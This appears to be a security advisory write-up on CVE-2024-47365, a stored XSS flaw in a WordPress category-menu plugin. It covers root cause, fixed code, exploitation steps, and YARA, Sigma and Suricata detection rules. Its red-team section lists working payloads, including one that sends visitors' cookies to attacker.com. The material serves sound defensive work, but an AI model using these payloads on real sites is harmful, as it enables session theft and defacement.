CVE-2024-47365

Executive Summary

CVE-2024-47365 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Automatically Hierarchic Categories in Menu, developed by Atakan au. The flaw exists in versions up to and including 2.0.5, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into the plugin’s menu output, which will execute in the browsers of any visitor viewing the affected page.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is used to automatically generate hierarchical category menus, making the injected script persistent across page loads. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the impact is amplified by the stored nature of the payload.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch is available, site administrators must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): High – attacker needs Contributor-level or higher WordPress account.
• User Interaction (UI): Required – victim must visit the compromised page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exfiltration possible.
• Integrity (I): Low – script can modify page content.
• Availability (A): Low – script can disrupt page rendering.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature makes it dangerous for multi-user WordPress sites.

Deep Dive & Mechanics

The plugin automatically-hierarchic-categories-in-menu generates a hierarchical menu of categories. The vulnerability lies in how it processes and outputs category names or other user-controlled fields (e.g., category descriptions) into the HTML menu structure. The plugin fails to sanitize or escape these values before rendering them in the browser.

Root Cause: The plugin uses echo or print statements to output category data without applying WordPress’s escaping functions like esc_html() or wp_kses_post(). An attacker can create or edit a category with a malicious payload in the name or description field. When the plugin generates the menu, the payload is injected directly into the DOM.

Attack Flow:

1. Attacker logs in with Contributor-level privileges.
2. Attacker creates a new category with a name containing a JavaScript payload, e.g., <script>alert('XSS')</script>.
3. The plugin’s menu generation code outputs this name without sanitization.
4. Any visitor (including admin) viewing a page with the menu triggers the script.

WordPress Context: This is a classic WordPress plugin vulnerability. The plugin should have used esc_html() for category names and wp_kses_post() for descriptions. The lack of proper output escaping is the direct cause.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (plugin file, e.g., hierarchic-menu.php):

<?php
// Vulnerable: direct output without escaping
echo '<li>' . $category->name . '</li>';
?>

Patched Code (hypothetical fix):

<?php
// Patched: escape output
echo '<li>' . esc_html( $category->name ) . '</li>';
?>

The fix applies esc_html() to the category name before output. For descriptions or other rich text fields, wp_kses_post() should be used.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with plugin version <= 2.0.5.
• Attacker account with Contributor role or higher.

Step-by-Step Exploitation:

1. Log in to WordPress admin.
2. Navigate to Posts > Categories.
3. Click Add New Category.
4. In the Name field, enter a payload such as:

   <img src=x onerror=alert(document.cookie)>
   

5. Set a slug and optionally a description.
6. Click Add New Category.
7. Visit any page that displays the hierarchical menu (e.g., a page with the menu widget).
8. The payload executes in the browser.

Example Payloads:

• Steal cookies: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
• Deface page: <script>document.body.innerHTML='Hacked'</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for suspicious category creation/editing.
• Look for category names containing HTML tags or JavaScript keywords (<script>, onerror, onload).
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or /wp-admin/term.php.

Hardening:

• Remove or disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict Contributor-level permissions; consider using a role editor plugin to limit category creation.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/automatically-hierarchic-categories-in-menu/hierarchic-menu.php (or similar)
• Network: Outbound HTTP requests to attacker-controlled domains from the victim’s browser.
• Logs: WordPress audit logs showing creation of categories with HTML/JavaScript in the name field.
• DOM: Presence of unexpected <script> tags or event handlers (e.g., onerror, onload) in the menu HTML.

Detection Engineering

YARA Rule

rule CVE_2024_47365_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress category names for CVE-2024-47365"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-47365"
    strings:
        $xss_payload = /<[^>]*script[^>]*>|onerror=|onload=|onmouseover|javascript:/
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2024-47365 Stored XSS via WordPress Category Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of WordPress categories with XSS payloads in the name field.
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1002  # Example: category creation event
        CategoryName|re: '<[^>]*script[^>]*>|onerror=|onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47365 Stored XSS Payload in WordPress Category"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=add-category"; http_client_body; pcre:"/<[^>]*script[^>]*>|onerror=|onload=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin (Plugins > Installed Plugins > Deactivate).
2. Delete the plugin if not required.
3. Audit existing categories for any suspicious names or descriptions; remove or sanitize them manually.

Long-Term Fix:

• Since no patch is available, consider replacing the plugin with an alternative (e.g., Category Menu or Custom Menu).
• If the plugin is critical, fork the code and apply the escaping fix described in the Vulnerable vs. Patched Code section.

Preventive Measures:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce strict Content Security Policy (CSP) headers.
• Regularly update all WordPress plugins and themes.
• Limit user roles to the minimum necessary permissions.

Valters IT